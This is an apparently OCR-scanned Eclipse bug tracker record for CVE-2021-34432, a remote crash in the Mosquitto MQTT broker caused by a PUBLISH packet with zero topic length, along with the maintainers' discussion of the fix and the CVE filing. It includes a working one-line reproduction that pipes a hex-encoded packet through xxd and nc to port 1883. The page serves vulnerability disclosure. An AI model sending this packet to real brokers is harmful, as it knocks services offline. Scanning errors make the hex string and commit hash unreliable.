Bug 574141 (CVE-2021-34432) - Remote crash in Mosquitto 2.0.7 when publish topic length is 0

Status: CLOSED FIXED Alias: CVE-2021-34432 **Product:** Community Component: Vulnerability Reports (show other bugs) Version: unspecified Hardware: PC Linux Importance: P3 major (vote) Target Milestone: ---Assignee: Security vulnerabilitied reported against Eclipse projects **QA Contact:** URL: Whiteboard: Keywords: security Depends on: Blocks: Attachments Add an attachment (proposed patch, testcase, etc.) You need to $\underline{\log\,\mathrm{in}}$ before you can comment on or make changes to this bug. Bryan Pearson __ECA 2021-06-10 19:44:44 EDT Description In Mosquitto version 2.07 (also tested in 2.06), the server will crash if the client tries to send a FUBLISH packet with topic length = 0. This can be replicated with the following command: 102b00044d5154540500003c0822000a110000000f00166d7174746f6f6c732d383739363736313532303132393d0900000621000a220005e000 | xxd -p -r | nc localhost 1883 It seems this was patched in version 2.08 due to the following commit. However, I have not seen this vulnerability reported anywhere. https://github.com/eclipse/mosquitto/commit/9b08faf0bdaf5a4f2e6e3ddlea7e8c57f70418d6 Wayne Beaton 2021-06-11 00:32:10 EDT Comment 1 /cc Eclipse Mosquitto Project lead. Roger can you have a look, please? Roger Light 2021-06-11 13:49:55 EDT Comment 2 I confirm that does look to have that effect. As I remember (and what it looks like), the fix was made in the context of those functions in the client library, so the fix in the broker is a happy result. That is why the vulnerability hasn't been reported anywhere. What's the best thing to do here? Bryan Pearson — 2021-07-24 10:57:14 EDT Comment 3 Do we have any updates on this issue? Wayne Beaton VECA 2021-07-24 22:37:52 EDT Comment 4 (In reply to Roger Light from comment #2)
> I confirm that does look to have that effect. As I remember (and what it > looks like), the fix was made in the context of those functions in the > client library, so the fix in the broker is a happy result. That is why the > vulnerability hasn't been reported anywhere. > What's the best thing to do here? If the vulnerability exists in any version, we should issue a CVE. Should we just tweak the description that Bryan provided?

"In Eclipse Mosquitto versions 2.07 and earlier, the server will crash if the client tries to send a PUBLISH packet with topic length = 0."

Comment 5

Comment 6

Comment 7

Roger Light VECA 2021-07-27 05:57:59 EDT

Wayne Beaton 2021-07-27 11:24:34 EDT We'll use CVE-2021-34432. I've pushed a record to Mitre.

Roger Light VECA 2021-08-22 08:57:28 EDT

This can be closed now, the CVE is recorded and reported.

That looks fine to me Wayne.

Reported: 2021-06-10 19:44 EDT by Bryan Pearson EEA

Modified: 2021-08-22 08:57 EDT (History)

CC List: 2 users (show)

See Also: